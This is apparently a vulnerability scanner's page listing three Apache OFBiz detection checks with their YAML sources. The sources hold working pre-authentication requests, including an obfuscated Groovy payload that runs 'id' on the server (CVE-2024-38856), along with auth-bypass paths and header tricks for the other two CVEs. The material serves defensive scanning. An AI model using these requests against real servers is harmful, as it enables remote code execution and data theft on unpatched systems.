Apache OFBiz — 3 vulnerability checks
noctis ships 3 vulnerability checks for Apache OFBiz, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Apache OFBiz Pre-Auth Groovy RCE via ProgramExport Path Traversal
| CVE | CVE-2024-32113 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/ofbiz/CVE-2024-32113.yaml |
Detects the Apache OFBiz pre-authentication code execution fixed in 18.12.13. The feed sends an anonymous POST to /webtools/control/forgotPassword/%2e/%2e/ProgramExport with a Groovy program that only throws an exception carrying a marker computed from two random numbers. It reports the target when the computed marker comes back in the reply, which proves that the server evaluated the Groovy code. No operating system command runs.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.0 - Checks
rce_resp.bannerforNOCTIS[0-9]{9,10}→ finding QoD 97: Anonymous POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport evaluated a Groovy program throwing "NOCTIS"+(…*…) and the reply carr…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-32113
- https://ofbiz.apache.org/security.html
- https://issues.apache.org/jira/browse/OFBIZ-12873
Feed source — tests/vulnerabilities/ofbiz/CVE-2024-32113.yaml
# Apache OFBiz ProgramExport path traversal Groovy RCE — CVE-2024-32113
#
# OFBiz < 18.12.13 checks login on the first path segment only, so
# /webtools/control/forgotPassword/%2e/%2e/ProgramExport reaches the
# ProgramExport screen anonymously. Its Groovy action evaluates the
# groovyProgram parameter and puts any exception into the page's error message.
#
# Benign proof: the program only throws an exception whose message is
# "NOCTIS" + (a*b) for two random per-run operands. The product is never in the
# request, so only server-side Groovy evaluation can produce it. No OS command
# runs, so the proof does not depend on the account OFBiz runs as (the official
# image runs as an unprivileged user). Operands are 5 digits each, so the
# product fits a Groovy int and the body length is constant. The program holds
# none of the 18.12.12 deniedWebShellTokens (SecuredUpload.isValidText).
#
# X-Forwarded-Proto: https gets the POST past forgotPassword's https="true"
# check on the plain-HTTP port (an insecure POST is otherwise refused).
# tcp_connect keeps the %2e/%2e/ segments verbatim (reqwest would normalise them).
uid: db56b913-851e-4717-ade3-08d0e6b9f296
name: "Apache OFBiz Pre-Auth Groovy RCE via ProgramExport Path Traversal (CVE-2024-32113)"
description: |
Detects the Apache OFBiz pre-authentication code execution fixed in 18.12.13.
The feed sends an anonymous POST to /webtools/control/forgotPassword/%2e/%2e/ProgramExport
with a Groovy program that only throws an exception carrying a marker computed
from two random numbers. It reports the target when the computed marker comes
back in the reply, which proves that the server evaluated the Groovy code. No
operating system command runs.
cves: [CVE-2024-32113]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [rce, path-traversal, groovy, ofbiz, kev, intrusive]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-32113"
- "https://ofbiz.apache.org/security.html"
- "https://issues.apache.org/jira/browse/OFBIZ-12873"
steps:
- id: init-rce
action: set_var
var_name: rce_resp
var_value: {connected: false, banner: ""}
# Random operands; only their product (never sent) proves evaluation.
- id: build
action: script
store_as: p
code: |
let a = rand_int(10000, 40000);
let b = rand_int(10000, 40000);
let body = "groovyProgram=throw+new+Exception(%27NOCTIS%27%2B(" + a + "*" + b + "))%3B";
#{ a: "" + a, b: "" + b, body: body, len: "" + strlen(body), marker: "NOCTIS" + (a * b) }
- id: groovy-rce
action: tcp_connect
port: "{{port}}"
send: "POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {{p.len}}\r\nX-Forwarded-Proto: https\r\nConnection: close\r\n\r\n{{p.body}}"
timeout_secs: 10
store_as: rce_resp
- id: rce-match
action: match
source: rce_resp.banner
pattern: "NOCTIS[0-9]{9,10}"
condition: "type_of(rce_resp.banner) == \"string\" && stridx(rce_resp.banner, p.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Anonymous POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport evaluated a Groovy program throwing \"NOCTIS\"+({{p.a}}*{{p.b}}) and the reply carried the server-computed marker {{p.marker}} at {{target_host}}:{{port}}"
stop: trueApache OFBiz ProgramExport Unauthenticated Groovy RCE
| CVE | CVE-2024-38856 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/ofbiz/CVE-2024-38856.yaml |
Tests Apache OFBiz for unauthenticated remote code execution via the ProgramExport screen. By prepending a public view name to the path, the authentication check is bypassed. A Unicode-escaped Groovy payload executes 'id' server-side; the output appears embedded in the Java exception response.
How noctis detects it
- HTTP(S) request
POST /webtools/control/main/ProgramExportwith a crafted body - Checks
ofbiz_resp.bodyforjava\.lang\.Exception→ finding QoD 75: OFBiz auth bypass confirmed — Groovy executed, exception in response: … - Checks
ofbiz_resp.bodyforuid=\d+\([^)]+\)→ finding QoD 97: RCE confirmed via OFBiz ProgramExport auth bypass — id output in exception: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-38856
- https://ofbiz.apache.org/security.html
- https://issues.apache.org/jira/browse/OFBIZ-13128
- https://github.com/securelayer7/CVE-2024-38856_Scanner
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-38856.yaml
Feed source — tests/vulnerabilities/ofbiz/CVE-2024-38856.yaml
# Apache OFBiz ProgramExport Unauthenticated Groovy RCE — CVE-2024-38856
#
# OFBiz's ProgramExport screen executes arbitrary Groovy code. It is normally
# auth-protected, but inserting a public view prefix (/main/) in the path:
# /webtools/control/main/ProgramExport
# routes through a public view, bypassing the authentication check entirely.
# A Unicode-escaped Groovy payload executes 'id' and throws the output as an
# exception — which OFBiz serialises into the error response body.
#
# Affected: Apache OFBiz ≤ 18.12.14. Fixed in 18.12.15.
# KEV added: 2024-08-27. EPSS: 0.994.
uid: aecc8b88-358d-4b7a-82b1-99b3cb158b91
name: "Apache OFBiz ProgramExport Unauthenticated Groovy RCE (CVE-2024-38856)"
description: |
Tests Apache OFBiz for unauthenticated remote code execution via the
ProgramExport screen. By prepending a public view name to the path, the
authentication check is bypassed. A Unicode-escaped Groovy payload executes
'id' server-side; the output appears embedded in the Java exception response.
cves: [CVE-2024-38856]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [apache, ofbiz, auth-bypass, groovy-rce, kev, epss-high]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-38856"
- "https://ofbiz.apache.org/security.html"
- "https://issues.apache.org/jira/browse/OFBIZ-13128"
- "https://github.com/securelayer7/CVE-2024-38856_Scanner"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-38856.yaml"
steps:
- id: init-groovy-exec
action: set_var
var_name: ofbiz_groovy_exec
var_value: false
# POST Unicode-escaped Groovy to the auth-bypass endpoint.
# groovyProgram decodes to: throw new Exception('id'.execute().text);
# \uXXXX sequences are sent as literal ASCII; OFBiz Groovy parser resolves them.
- id: rce-probe
action: http_request
method: POST
path: "/webtools/control/main/ProgramExport"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "groovyProgram=\\u0074\\u0068\\u0072\\u006f\\u0077\\u0020\\u006e\\u0065\\u0077\\u0020\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0028\\u0027\\u0069\\u0064\\u0027\\u002e\\u0065\\u0078\\u0065\\u0063\\u0075\\u0074\\u0065\\u0028\\u0029\\u002e\\u0074\\u0065\\u0078\\u0074\\u0029\\u003b"
store_as: ofbiz_resp
# Groovy was executed — server returned exception containing command output
- id: exception-match
action: match
source: ofbiz_resp.body
pattern: "java\\.lang\\.Exception"
condition: "ofbiz_resp.status == 200"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "OFBiz auth bypass confirmed — Groovy executed, exception in response: {{ofbiz_resp.body}}"
set_vars:
ofbiz_groovy_exec: true
# RCE confirmed — 'id' output (uid=N(name)) present in exception message
- id: rce-confirm
action: match
source: ofbiz_resp.body
pattern: "uid=\\d+\\([^)]+\\)"
condition: "ofbiz_groovy_exec == true"
on_match:
finding:
confidence_delta: 0.75
qod: 97
evidence: "RCE confirmed via OFBiz ProgramExport auth bypass — id output in exception: {{ofbiz_resp.body}}"
stop: trueApache OFBiz Unauthenticated View Override Auth Bypass via forgotPassword/xmldsdump
| CVE | CVE-2024-45195 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/ofbiz/CVE-2024-45195.yaml |
Detects the Apache OFBiz view-override authorization bypass fixed in 18.12.16. The feed sends an anonymous POST to /webtools/control/forgotPassword/xmldsdump with no export parameters, so the data export screen runs but writes nothing. It reports the target when the reply is the login-protected "XML Data Export" webtools screen, which proves that protected views render without a login (the primitive behind unauthenticated data dumps and code execution). A fixed OFBiz refuses to render the view for an anonymous user.
How noctis detects it
- HTTP(S) request
POST /webtools/control/forgotPassword/xmldsdumpwith a crafted body - Checks
dump_resp.bodyfor(?s)<title>[^<]*XML Data Export\s*</title>.*(Web Tools Permission Err…→ finding QoD 75: Anonymous POST /webtools/control/forgotPassword/xmldsdump (no export parameters, nothing written) rendered the login-protected webtools "XM…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-45195
- https://ofbiz.apache.org/security.html
- https://issues.apache.org/jira/browse/OFBIZ-13132
- https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/
Feed source — tests/vulnerabilities/ofbiz/CVE-2024-45195.yaml
# Apache OFBiz forgotPassword view-override auth bypass — CVE-2024-45195
#
# OFBiz < 18.12.16 lets an unauthenticated request append the name of any
# view to a public request (/webtools/control/forgotPassword/<view>) and
# renders that view without checking the view's own login requirement. The
# public exploit renders the webtools "xmldsdump" view with outpath/filename/
# entityName parameters, whose Groovy action then dumps database entities
# (UserLogin with its password hashes) into the web root and writes JSP/ftl
# files for code execution.
#
# Benign probe: render the same view WITHOUT entityName/outpath/filename.
# XmlDsDump.groovy skips every write (they all sit under
# `if (passedEntityNames)`, empty without entityName / preConfiguredSetName /
# entitySyncId), but the response still proves the
# auth-required view was rendered for an anonymous request: its screen sets
# titleProperty=PageTitleEntityExport ("XML Data Export") and the webtools
# decorator shows "Web Tools Permission Error" instead of the form body.
# 18.12.16 checks the view's security before rendering and answers with an
# error ("An active login is required for view with name [xmldsdump]").
# Accept-Language pins the English labels. forgotPassword is https="true":
# an insecure POST is refused ("InsecureFormPostToSecureRequest") unless
# X-Forwarded-Proto says https (RequestHandler), so the header lets the probe
# work on the plain-HTTP port (8080) as well.
#
# Nothing is written on the target, so no dump file is left behind and a
# re-scan of a patched host cannot match a leftover from an earlier scan.
uid: 9fdacc07-ca20-4f61-9dee-4a90804a24c5
name: "Apache OFBiz Unauthenticated View Override Auth Bypass via forgotPassword/xmldsdump (CVE-2024-45195)"
description: |
Detects the Apache OFBiz view-override authorization bypass fixed in 18.12.16.
The feed sends an anonymous POST to /webtools/control/forgotPassword/xmldsdump
with no export parameters, so the data export screen runs but writes nothing.
It reports the target when the reply is the login-protected "XML Data Export"
webtools screen, which proves that protected views render without a login (the
primitive behind unauthenticated data dumps and code execution). A fixed OFBiz
refuses to render the view for an anonymous user.
cves: [CVE-2024-45195]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [ofbiz, apache, auth-bypass, rce, kev, direct-request]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-45195"
- "https://ofbiz.apache.org/security.html"
- "https://issues.apache.org/jira/browse/OFBIZ-13132"
- "https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/"
steps:
# No entityName / outpath / filename: the dump action has nothing to write.
- id: render-xmldsdump
action: http_request
method: POST
path: "/webtools/control/forgotPassword/xmldsdump"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
Accept-Language: "en"
X-Forwarded-Proto: "https"
body: "noctis=1"
store_as: dump_resp
- id: confirm-bypass
action: match
source: dump_resp.body
pattern: "(?s)<title>[^<]*XML Data Export\\s*</title>.*(Web Tools Permission Error|name=\"entityExport\")"
condition: "dump_resp.status == 200"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "Anonymous POST /webtools/control/forgotPassword/xmldsdump (no export parameters, nothing written) rendered the login-protected webtools \"XML Data Export\" view at {{target_host}}:{{port}} (HTTP {{dump_resp.status}})"
stop: true